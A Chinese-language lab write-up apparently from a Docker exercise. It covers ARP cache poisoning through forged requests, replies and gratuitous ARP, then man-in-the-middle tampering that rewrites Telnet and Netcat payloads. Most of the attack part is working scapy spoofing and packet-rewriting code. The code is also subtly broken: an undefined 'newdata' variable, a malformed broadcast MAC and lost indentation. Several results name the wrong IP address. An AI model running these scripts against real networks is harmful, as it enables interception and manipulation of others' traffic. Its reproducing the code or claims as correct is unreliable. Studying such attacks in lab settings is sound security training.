ARP嗅探攻击
0.搭建环境
我们这里使用docker搭建三台虚拟机,分别是A、B、M,其中AB代表正常通信用户,M代表攻击者Attacker。如下所示。我们的任务是通过主机M修改A和B的ARP的缓存。
1.ARP 缓存修改
1.1 发送ARP攻击,使得B中的ARP缓存ip是A,但是mac是M
我们的思路是假设本机是Attacker M,要完成目标,我们需要对
发送ARP请求,这个请求中,源IP是A,但是源MAC地址是M,目的IP是B,目的MAC可以由Ping命令获得(也可以设置为ff:ff:ff:ff:ff:ff)也能接受到。根据思路,代码如下:
#! /usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP()
A.hwlen = 6
A.plen = 4
A.op = 1
A.hwsrc = '02:42:17:97:6e:6a'
A.psrc = '10.9.0.5'
A.hwdst = '02:42:0a:09:00:06'
A.pdst = '10.9.0.6'
pkt = E/A
pkt.show()
sendp(pkt, iface = 'br-1d267e15e473')
攻击前的B中的ARP表如下:
执行攻击过程
攻击后的B中的ARP表如下:
可以看见B中关于10.9.0.6的ip地址已经更换成M中的mac地址
1.2 发送ARP攻击,利用ARP的回复,使得B中的ARP缓存ip是A,但是mac是M
思路同上,但是我们要利用ARP的回复功能来攻击,需要将A.op=2
这样发送的包具有回复功能。代码如下:
#! /usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP()
A.hwlen = 6
A.plen = 4
A.op = 2
A.hwsrc = '02:42:17:97:6e:6a'
A.psrc = '10.9.0.5'
A.hwdst = '02:42:0a:09:00:06'
A.pdst = '10.9.0.6'
pkt = E/A
pkt.show()
sendp(pkt, iface = 'br-1d267e15e473')
攻击前B中ARP(首先删除上一步中获得的arp相关mac)
攻击过程
攻击后B中ARP
可以看见B中关于10.9.0.6的ip地址已经更换成M中的mac地址
1.3 使用广播ARP攻击,使得B中ARP缓存的A的ip具有M的mac地址
广播ARP有如下作用:
- 源IP和目的都一样
- ARP和Ether中的目的MAC地址都一致
- 无需回复
根据上述原理,我们构造代码如下:
#! /usr/bin/python3
from scapy.all import *
E = Ether()
E.dst = 'ff.ff.ff.ff.ff.ff'
A = ARP()
A.hwlen = 6
A.plen = 4
A.op = 1
A.hwsrc = '02:42:17:97:6e:6a'
A.psrc = '10.9.0.5'
A.hwdst = 'ff:ff:ff:ff:ff:ff'
A.pdst = '10.9.0.5'
pkt = E/A
pkt.show()
sendp(pkt, iface = 'br-1d267e15e473')
由于此处是更新arp表,因此我们首先要在主机中建立arp表,通过在B中pingA的主机,这样B中的ARP表就有A的真实mac地址,此时我们在M中发送广播攻击指令,更换B中A的mac地址。
B中ping命令建立的arp缓存表
M发送广播攻击命令
攻击后B中的ar缓存表
可以看见B中关于10.9.0.6的ip地址已经更换成M中的mac地址
2. 通过ARP毒化在Telnet上进行中间人攻击
假设A、B为正常建立连接的用户,M是攻击者,则M发动中间人攻击的示意图如下所示:
2.1 对A、B发动ARP攻击修改其ARP缓存表
我们现在作为M的攻击者,首先利用上面1中提到的ARP欺骗将A中B的IP地址对应成为M的mac地址,将B的arp中的A的IP地址对应成为M的mac地址,这样所有的数据都将发送到M。
2.2 修改完成后 ,A、B互相ping
此时,A、B数据都将发往M,因此不会有任何回应。
首先在A中ping一下B主机查看效果
完全ping不同,因为此时所有包都发往了M,M没有返回任何结果。
然后在B主机ping一下A主机查看效果
同样是ping不通的
接下来我们查看wireshark的流量分析
首先查看A主机pingB主机的流量情况
明显看到
接下来我们查看B主机pingA主机的流量情况
2.3 开启M主机的ip中转
开启ip中转后,M变成一个路由器,可以将接受到的流量包转发到对应的主机。
A主机pingB主机时会出现一个数据包被转发的提示:
2.4 发起MITM攻击
现在我们准备修改telnet中间的数据,此时假设A是一台telnet用户机,B是一台telnet服务机。当A与B建立好telnet连接之后,在A主机上敲击的字符都将在B主机上显示。我们现在截获A发给B的数据包之后,将其中的数据全部替换为Z,这样的话,无论A那边输入什么,最终的在B这边看到的输出都是Z。
我们首先开启ip转发,保证A、B建立适当的telnet连接。
我们在A主机上使用telnet 10.9.0.6
来连接B主机,输入账号密码后登陆成功
然后在M主机上关闭ip转发。
然后在M主机上执行如下转发代码:
#! /usr/bin/python3
from scapy.all import *
VM_A_IP="10.9.0.5"
VM_B_IP="10.9.0.6"
MAC=""
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
newIP = IP()
newIP.version = pkt[IP].version
newIP.ihl = pkt[IP].ihl
newIP.id = pkt[IP].id
newIP.flags = pkt[IP].flags
newIP.frag = pkt[IP].frag
newIP.ttl = pkt[IP].ttl
newIP.proto = pkt[IP].proto
newIP.src = pkt[IP].src
newIP.dst = pkt[IP].dst
newTCP = TCP()
newTCP.sport = pkt[TCP].sport
newTCP.dport = pkt[TCP].dport
newTCP.seq = pkt[TCP].seq
newTCP.ack = pkt[TCP].ack
newTCP.dataofs = pkt[TCP].dataofs
newTCP.flags = pkt[TCP].flags
newTCP.window = pkt[TCP].window
newTCP.options = pkt[TCP].options
olddata = pkt[TCP].payload.load
data_len = len(olddata)
new_data = 'Z'*data_len
send(newIP/newTCP/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP])
pkt = sniff(filter = 'tcp and host 10.9.0.5',prn = spoof_pkt)
然后在A主机向B主机发送内容,会发现,所有的输入字符都已经被替换为Z,如下所示:
此时已经完成攻击
3. 通过ARP毒化在Netcat上进行中间人攻击
这个步骤与上一个步骤其实是相似的,只是现在A、B主机通过Netcat进行数据通信。
首先在M主机上关闭转发,然后执行如下转发程序:
#! /usr/bin/python3
from scapy.all import *
VM_A_IP="10.9.0.5"
VM_B_IP="10.9.0.6"
MAC=""
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
newIP = IP()
newIP.version = pkt[IP].version
newIP.ihl = pkt[IP].ihl
newIP.id = pkt[IP].id
newIP.flags = pkt[IP].flags
newIP.frag = pkt[IP].frag
newIP.ttl = pkt[IP].ttl
newIP.proto = pkt[IP].proto
newIP.src = pkt[IP].src
newIP.dst = pkt[IP].dst
newTCP = TCP()
newTCP.sport = pkt[TCP].sport
newTCP.dport = pkt[TCP].dport
newTCP.seq = pkt[TCP].seq
newTCP.ack = pkt[TCP].ack
newTCP.dataofs = pkt[TCP].dataofs
newTCP.flags = pkt[TCP].flags
newTCP.window = pkt[TCP].window
newTCP.options = pkt[TCP].options
olddata = pkt[TCP].payload.load
new_data = olddata.replace(str.encode('rachel'),str.encode('aaaa'))
send(newIP/newTCP/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP])
pkt = sniff(filter = 'tcp and host 10.9.0.5',prn = spoof_pkt)
首先在B主机上运行Netcat程序:
nc -l 9090
然后通过A主机运行Netcat来连接B主机的Netcat:
nc 10.9.0.6 9090
此时的客户机A:
此时的连接主机B:
参考
[1] ARP欺骗原理及实现 - 知乎 (zhihu.com)
https://zhuanlan.zhihu.com/p/374650070
[2] ARP 协议详解 ARP报文结构_u010069213的专栏-CSDN博客_arp请求报文采用什么方式传播
https://blog.csdn.net/u010069213/article/details/17999757
[3] ARP报文格式详解 (biancheng.net)
http://c.biancheng.net/view/6389.html
[4]中间人攻击——ARP欺骗的原理、实战及防御 - 简书 (jianshu.com)
https://www.jianshu.com/p/d6f84e2e88c6
评论区